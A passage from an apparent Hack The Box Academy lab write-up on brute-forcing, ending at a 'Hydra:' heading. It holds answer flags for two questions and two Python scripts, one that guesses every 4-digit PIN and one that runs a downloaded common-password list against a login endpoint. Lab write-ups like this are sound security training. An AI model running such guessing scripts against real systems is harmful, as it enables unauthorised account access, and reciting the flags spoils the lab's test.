HTB Brute Forcing Attacks

Brute Force:

Question: After successfully brute-forcing the PIN, what is the full flag the script returns?

Answer: HTB{Brut3_F0rc3_1s_P0w3rfu1}

By using the python script given, you change the ip and the port, and run it with python and get the answer.

This is the script:

```
import requests

ip = "127.0.0.1"  # Change this to your instance IP address
port = 1234       # Change this to your instance port number

# Try every possible 4-digit PIN (from 0000 to 9999)
for pin in range(10000):
    formatted_pin = f"{pin:04d}"  # Convert the number to a 4-digit string (e.g.,
7 becomes "0007")
    print(f"Attempted PIN: {formatted_pin}")

    # Send the request to the server
    response = requests.get(f"http://{ip}:{port}/pin?pin={formatted_pin}")

    # Check if the server responds with success and the flag is found
    if response.ok and 'flag' in response.json():  # .ok means status code is 200
(success)
        print(f"Correct PIN found: {formatted_pin}")
        print(f"Flag: {response.json()['flag']}")
        break
```

Dictionary Attack:

Question: After successfully brute-forcing the target using the script, what is the full flag the script returns?

Answer: HTB{Brut3_F0rc3_M4st3r}

As the question before, you just run the script who is taking a dictionary from the web and attacking the target with that dictionary. Run the script and get the flag:

This is the script:

```
import requests

ip = "127.0.0.1"  # Change this to your instance IP address
port = 1234       # Change this to your instance port number

# Download a list of common passwords from the web and split it into lines
passwords =
requests.get("https://raw.githubusercontent.com/danielmiessler/SecLists/refs/head
s/master/Passwords/Common-Credentials/500-worst-passwords.txt").text.splitlines()

# Try each password from the list
for password in passwords:
    print(f"Attempted password: {password}")

    # Send a POST request to the server with the password
    response = requests.post(f"http://{ip}:{port}/dictionary", data={'password':
password})

    # Check if the server responds with success and contains the 'flag'
    if response.ok and 'flag' in response.json():
        print(f"Correct password found: {password}")
        print(f"Flag: {response.json()['flag']}")
        break
```

Hydra: